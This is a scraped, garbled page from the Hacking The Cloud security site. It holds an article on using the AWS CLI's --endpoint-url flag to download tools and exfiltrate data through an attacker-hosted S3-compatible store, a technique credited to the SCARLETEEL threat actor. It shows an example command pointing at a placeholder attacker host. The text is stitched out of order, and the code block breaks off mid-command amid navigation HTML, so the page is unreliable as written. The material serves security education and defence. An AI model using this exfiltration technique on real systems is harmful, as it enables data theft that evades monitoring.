for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Download Tools and Exfiltrate Data with the AWS CLI</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</a></p> </li> </ul> </div> <p>In an attempt to be stealthy, threat actors will often "<a href=https://github.com/LOLBAS-Project/LOLBAS>live off the land</a>", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.</p> <p>In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by <a href=https://docs.aws.amazon.com/cli/v1/userguide/install-linux-al2017.html>default</a> in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like <a href=https://curl.se/ >curl</a> or <a href=https://www.gnu.org/software/wget/ >Wget</a> which may be monitored for suspicious uses.</p> <p>As seen in the wild by the <a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL</a> threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as <a href=https://min.io/ >MinIO</a> and then use the <code>--endpoint-url</code> flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.</p> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>--endpoint-url<span class=w> </span>https://attacker.s3.store
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a 